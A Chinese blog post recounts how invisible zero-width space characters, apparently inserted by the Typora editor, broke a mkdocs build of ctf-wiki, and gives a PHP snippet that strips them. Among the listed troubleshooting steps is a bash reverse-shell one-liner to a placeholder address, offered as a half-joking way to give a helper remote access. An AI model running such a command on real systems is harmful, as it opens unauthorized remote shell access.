【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space

简介: 【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space

问题描述:

我在修改 ctf-wiki 目录后进行 mkdocs build 去生成索引目录的时候报错

1100338-20190106171645901-446403210.jpg然后我尝试定位到第 2 行和第 288 行,这些行我似乎并没有修改过啊。

未果,开始去找师傅解决。

解决方案探索:

由于我不太懂 mkdocs 的运行机制,这个时候肯定是需要找刘师傅了。

方案一、 mkdocsclean 缓存。


1100338-20190106171645557-1885923951.jpg

似乎这个想法是行不通了,不是根本原因。

方案二、改目录

我们开始猜想是不是路径中有中文的锅,改一下路径,未果。

方案三、反弹 shell

弄不出来了,我直接反弹一个 shell 给刘师傅。

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1

似乎师傅觉得权限太小了,然后不让弄了23333,未果。

方案四、重新clone一遍

一般出现问题,从头来一遍就好了,然后我这么做了,重新改了一下索引,未果。

方案五、 git diff 定位源码

使用 git diff 看哪部分代码修改过了,发现了一些问题,明明两段代码一模一样的,却显示有被修改过的痕迹。

探索:

既然有点眉头了,我们开始猜测是不是 tab 和空格混淆了,但是我并没有修改过,几番猜测后可能是我的编辑器存在问题,我用 Typora 修改的目录,可能是因为编辑器的问题,自动加上了一些奇怪的东西进去。

开始尝试:

vim 去查看下目录文件,事情果然不简单:


1100338-20190106171644942-736753207.jpg


这个 <200b> 是什么鬼东西,删掉再本地跑一下试试看先,果真是这个特殊字符的锅。

特意去维基百科上查阅了文档,发现这个学术名词叫 Zero-width-space(零宽空格) ,是一种不可打印的 Unicode 字符,用于可能需要换行处。

简单理解,什么是零宽度空格?它是一个Unicode字符,它是一个空格,它没有宽度!

什么叫没有宽度?就是如果 2 个字母之间打了一个零宽度空格,你是看不见任何东西的,两个字母还是会挨在一起。而且更坑爹的是,就算你用的是等宽字体,它也看不见。

这种字符在高级编辑器中都是看不见这个符号的,只有 VIM 这种古老的编辑器才能看到。

有关这种特殊字元存在以下三种形式:

Unicode code point character UTF-8 (in literal) name
U+200B \xe2\x80\x8b ZERO WIDTH SPACE
U+200C \xe2\x80\x8c ZERO WIDTH NON-JOINER
U+200D \xe2\x80\x8d ZERO WIDTH JOINER

我们在写入文件中应该用以下语法去过滤这三种字符:

// remove zero width space
$value = str_replace("\xe2\x80\x8b", '', $value);
$value = str_replace("\xe2\x80\x8c", '', $value);
$value = str_replace("\xe2\x80\x8d", '', $value);


目录
相关文章
Kam
|
前端开发
request.getParameter("**")获取不到值:
request.getParameter("**")获取不到值
Kam
1739 0
fetch上传文件报错的问题(multipart: NextPart: EOF)
技术栈 后台: gin(golang) 前端: react+antd+dva 问题 前端这边使用fetch发送http请求的时候,后端解析formData报错: multipart: NextPart: EOF 分析问题 原因是上传文件太小了Content-Length数量太小了,尝试将headers里这字段的value变大,发现实际的请求依然是较小值。
5508 0
|
8天前
|
Java Spring
@RequestParams是这作用?
@RequestParams是这作用?
|
6月前
request.getParameter、request.getParameterValues、request.getParameterMap用法
request.getParameter、request.getParameterValues、request.getParameterMap用法
|
9月前
|
设计模式 uml
空对象模式(Null Object Pattern)
空对象模式(Null Object Pattern)不属于GoF设计模式,但是它作为一种经常出现的模式足以被视为设计模式了。其具体定义为设计一个空对象取代NULL对象实例的检查。NULL对象不是检查控制,而是反映一个不做任何动作的关系。这样的NULL对象也可以在数据不可用的时候提供默认的行为,属于行为型设计模式。
55 0
|
9月前
|
编解码 缓存 负载均衡
TestPattern error
TestPattern error
235 0
|
9月前
913 error Component name “home“ should always be multi-word vuemulti-word-component-names
913 error Component name “home“ should always be multi-word vuemulti-word-component-names
50 0
|
10月前
|
C# 开发者
C#中IsNullOrEmpty和IsNullOrWhiteSpace的使用方法有什么区别?
C#中IsNullOrEmpty和IsNullOrWhiteSpace的使用方法有什么区别?
|
应用服务中间件 nginx Windows
1113: No mapping for the Unicode character exists in the target multi-byte code page
1113: No mapping for the Unicode character exists in the target multi-byte code page
207 0
1113: No mapping for the Unicode character exists in the target multi-byte code page
解决办法:error: ‘unordered_map’ in namespace ‘std’ does not name a template type
解决办法:error: ‘unordered_map’ in namespace ‘std’ does not name a template type
411 0